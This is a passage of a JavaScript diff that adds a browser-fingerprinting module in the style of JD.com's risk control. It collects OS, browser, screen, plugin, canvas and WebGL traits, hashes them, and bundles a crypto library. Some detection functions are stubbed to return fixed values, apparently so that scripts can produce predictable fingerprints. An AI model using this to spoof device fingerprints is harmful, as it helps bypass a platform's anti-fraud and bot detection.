718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = 